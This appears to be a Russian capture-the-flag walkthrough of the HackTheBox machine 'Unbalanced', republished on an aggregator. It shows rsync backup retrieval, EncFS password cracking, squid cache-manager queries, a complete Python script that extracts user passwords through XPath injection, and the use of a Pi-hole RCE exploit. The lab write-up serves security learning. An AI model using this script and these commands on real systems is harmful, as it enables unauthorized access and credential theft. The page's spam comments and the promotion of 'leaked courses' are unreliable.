Русский
Русский
English
Статистика
Реклама

HackTheBox. Прохождение Unbalanced. Rsync, EncFS, Squid, XPath инъекция и RCE в Pi-hole


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разбираемся с резервной копией в rsync, подбираем пароль для EncFS, работаем со squid прокси-сервером, эксплуатируем XPath инъекцию и эксплуатируем RCE в Pi-hole.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.200, который я добавляю в /etc/hosts.

10.10.10.200 unbalanced.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И мы наблюдаем службы SSH, rsync и прокси squid. Rsync программа для UNIX-подобных систем, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика. Rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию.
Посмотрим список доступных модулей.
rsync --list-only rsync://unbalanced.htb:873



Скопируем conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups



По наличию файла .encfs6.xml понимаем, что это шифрованный том EncFS. Давайте получим хеш пароля.



И переберем его.



Таким образом, мы получаем пароль, с помощью которого выполнено шифрование. Осталось монтировать раздел.



И получаем уже нормальный список файлов.



В основном это файлы конфигураций, и нас больше всего интересует squid.conf. Давайте посмотрим все незакоментированные строки.
cat squid.conf | grep -v '^#' | uniq





Сохраняем пароль и отмечаем новое доменное имя, которое добавляем в /etc/hosts. Так же смотрим списки доступа ACL.
10.10.10.200 intranet.unbalanced.htb

Установим в браузере прокси и обратимся по найденному доменному имени к веб серверу.



Нас встречает форма авторизации. Просидев с ней некоторое время, было принято решение дальше работаеть со squid.

Entry Point


Давайте посмотрим доступные опции.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'



И мы можем найти еще доменные имена.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache



И есть еще три имени. Добавляем их в /etc/hosts (последнее было подобрано логически).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb172.31.179.1 intranet.unbalanced.htb

И на первом же видим, что данный сайт временное решение.



Дальше попадаем на такую же форму авторизации.

USER


Снова ее тестируем и получаем реакцию на запрос or=.





И получаем список пользователей. Это XPath-иньекция. Дело в том, что с помощью определенных запросов мы можем узнать пароли пользователей для данных имен.

Так для начала можно определить длину пароля с помощью функции string-length. Тестируем на логине. Мы знаем, что верная длина 5, поробуем условие с 4 и с 5 и увидим разницу.





Разница видна. После определения длина, мы можем по одному символу достать пароль. Так же тестируем на логине. Возьмем первую букву и сравним ее с a, а потом с b.





Разница также видна. Напишем код, который подобным образом переберет все пароли для каждого логина.
import requestsimport stringurl = 'http://172.31.179.1/intranet.php'proxies = {'http':'http://10.10.10.200:3128'}users = ['bryan','sarah', 'jim', 'rita']pass_str_len = "' or Username='USER' and string-length(Password)='"pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"for user in users:    for l in range(1,25):        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }        request = requests.post(url=url, data=data, proxies=proxies)        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")        if 'Invalid credentials.' not in request.text:            passwd = ''            for num in range(l):                for c in string.printable[:94]:                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }                    request = requests.post(url=url, data=data, proxies=proxies)                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')                    if 'Invalid credentials.' not in request.text:                        passwd += c                        break            print(user +" : "+ passwd + " "*10)            break



И первый пользователей имеет доступ по SSH с найденным паролем.



ROOT


В домашней директории пользователя находим TODO список.



И мы видим, что еще не выполнены задачи, связанные с Pi-hole (пароль admin). Но просмотреть открытые порты не вышло, так как отсутствует netstat. Тогда можно воспользоваться данным скриптом.



Открыты порты 8080 и 5553.





И в ответе находим еще один домен и соответствующий ему IP. Прокинем порт и обратимся через браузер.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb



Переходи на страницу и авторизуем с паролем admin. В самом низу видим версию.



Посмотрим эксплоиты.





Давайте запустим листенер и выполним эксплоит.





Посмотрим файлы рута и найдем упомянутый в TODO листе скрипт.





В нем присутствует пароль.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Источник: habr.com
К списку статей
Опубликовано: 05.12.2020 18:16:42
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Ctf

Pentest

Pentesting

Ralf_rt

Htb

Red team

Red teaming

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2023, personeltest.ru